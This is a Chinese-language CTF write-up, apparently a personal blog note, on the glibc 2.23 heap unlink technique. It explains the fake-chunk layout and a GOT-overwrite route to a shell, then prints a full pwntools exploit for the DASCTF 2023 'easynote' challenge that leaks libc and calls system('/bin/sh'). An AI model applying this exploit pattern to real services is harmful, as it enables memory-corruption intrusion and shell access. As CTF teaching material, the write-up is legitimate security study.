前言
unlink学习地址
https://www.yuque.com/hxfqg9/bin/ape5up#G0M19
how2heap unsafe_unlink
还有bilibili视频星盟安全
https://www.bilibili.com/video/BV1Uv411j7fr?p=20&vd_source=a85daf8eb54f32264d9f6976d087fe98
这两个讲的unlink挺好的,尤其是第一个how2heap跟着调试一遍程序就完全理解了
unlink 思路
在此不会详细讲解unlink的原理,写博客的目的是为了我以后回过头来看能快速理解
我们malloc两块内存,第一块内存大小限制比较少,第二块申请的内存大小必须大于等于0x80(保证不落于fastbin)
edit第一块内存和第二块内存的头部(通过溢出),内存布局是这样的
下面的chunkptr指的是存储了下面chunk地址的全局变量
一般来说题目中会有将malloc的内存地址放在一个全局变量数组里当做页码,这时候就满足这个要求了
0000000000000000 0000000000000041 (size) 0000000000000000 0000000000000030(size-0x10) chunkptr-0x18(fd) chunkptr-0x10(bk) padding··· pading··· ··· ··· (物理相邻的下一个chunk) 0000000000000030(size-0x10) 0000000000000090 (第二块堆的size,要求末位必须为0) ··· ··· ···
|
之后free掉第二个堆,这样操作系统就会以为第一个堆是已经释放掉的,接下来将会合并两个堆块,合并之后,由于双向链表的一些操作,就会让chunkptr中存储chunkptr-0x18。
之后我们编辑第一个堆块,就相当于往chunkptr-0x18的地方写东西,我们可以覆盖掉chunkptr甚至覆盖掉其他堆块的指针,实现任意地址写。
一种get shell的方式是,通过got表的修改,往某一个chunkptr+x上写入free_got,之后edit这个第x-1个堆块,就可以将free_got写入puts_plt。之后往另一个chunkptr+y上写入puts_got(任意已经执行过的函数的got),之后free掉第y-1个堆块,这样我们就得到了puts_got的地址,之后就可以拿到libc的地址,从而得到system的地址。再修改free_got为system的地址,往另一个堆块上写入“/bin/sh\x00”,free掉这个堆块,即可get shell。
题目限制条件
- 第二块malloc_size必须大于等于0x80
- 第一块内存指针必须能在全局变量中存储
- 能够通过某种方法编辑第二块内存的头部
- glibc版本为2.23
题目及exp
题目是buuctf上的 DASCTF 2023六月挑战赛|二进制专项 题目 名字为easynote。
https://buuoj.cn/match/matches/185/challenges
非常典型的unlink漏洞,PIE也没有开启,贴出我自己的exp,思路与上面的思路完全一致
from pwn import * p=process('./pwn')
elf=ELF("./pwn") libc=ELF("./libc-2.23.so") context(log_level = 'debug') def create(size,content): p.sendlineafter("5. exit","1") p.sendlineafter("The length of your content --->",size) p.sendafter("Content --->",content) def edit(index,length,content): p.sendlineafter("5. exit","2") p.sendafter("Index --->",index) p.sendlineafter("The length of your content --->",length) p.sendafter("Content --->",content) def delete(index): p.sendlineafter("5. exit","3") p.sendafter("Index --->",index) def show(index): p.sendlineafter("5. exit","4") p.sendafter("Index --->",index)
chunk_ptr=0x6020c0
create("64","1") create("128","1") create("128","1") create("128","1") create("128","1")
puts_plt=elf.sym['puts'] puts_got=elf.got['puts'] atoi_got=elf.got['atoi'] free_got=elf.got['free'] print(hex(puts_plt)) print(hex(puts_got)) print(hex(atoi_got)) fake_fd=chunk_ptr-0x18 fake_bk=chunk_ptr-0x10 payload=p64(0)+p64(0x40)+p64(fake_fd)+p64(fake_bk)+b'a'*(64-32)+p64(0x40)+p64(0x90)
edit("0","160",payload) delete("1")
payload1="" payload1=b'a'*0x18+p64(puts_got)+p64(atoi_got)+p64(free_got) edit("0","160",payload1) edit("2","160",p64(puts_plt)) delete("0") t=p.recv(1) r=p.recv(6) puts_addr=u64(r.ljust(8,b'\x00')) libc_addr=puts_addr-libc.sym['puts']
system_addr=libc_addr+libc.sym['system'] edit("2","160",p64(system_addr)) payload2='/bin/sh\x00' edit("3","160",payload2) delete("3") p.interactive()
|